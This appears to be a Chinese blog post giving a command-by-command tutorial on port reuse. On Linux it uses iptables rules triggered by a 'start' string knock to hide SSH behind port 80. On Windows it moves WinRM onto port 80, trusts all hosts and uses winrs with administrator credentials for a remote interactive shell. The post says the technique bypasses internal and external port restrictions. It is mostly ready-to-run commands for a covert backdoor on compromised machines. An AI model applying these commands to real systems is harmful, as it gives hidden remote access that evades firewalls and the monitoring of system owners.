Windows - Linux端口复用

Linux

一:使用iptables进行端口复用,目测可以进行内外网端口绕过

1.1 设置端口复用链名 test

iptables -t nat -N test

1.2 端口复用规则

iptables -t nat -A test -p tcp -j REDIRECT --to-port 22
表示该规则为流量转发到22端口

1.3 设置规则生效开关信息为start

iptables -A INPUT -p tcp -m string --string ‘start’ --algo bm -m recent --set --name test --rsource -j ACCEPT

1.4 设置规则失效开关信息为stop

iptables -A INPUT -p tcp -m string --string ‘stop’ --algo bm -m recent --name test --remove -j ACCEPT

1.5 运行 表示经过80的流量会转发到22端口

iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name test --rsource -j test
在这里插入图片描述

二:开启利用

2.1 开启复用信号

echo start | socat - tcp:remote_ip:80

2.2 ssh80端口登录

ssh -p 80 root@remote_ip

2.3 关闭复用

echo stop | socat - tcp:192.168.28.128:80

Windows

一:Windows server 2012及以上,winrm默认就开启

启动服务
winrm quickconfig -q
新增80端口
winrm set winrm/config/service @{EnableCompatibilityHttpListener=“true”}
因此2012 winrm的默认端口5985仍然开启,80端口借用iis服务也会开启

二:windows 2008

启用服务
winrm quickconfig -q
修改监听端口
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port=“80”}
2008则只有80端口开启

三:通过winrm连接远程机器

启动服务
winrm quickconfig -q
设置信任主机
winrm set winrm/config/Client @{TrustedHosts="*"}
连接使用
winrs -r:http://remote_ip -u:administrator -p:Passw0rd whoami
winrs -r:http://remote_ip -u:administrator -p:Passw0rd cmd 获得交互shell

普通用户无法进行winrm远程,新建的用户若要使用winrm,需要添加到管理员组
在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值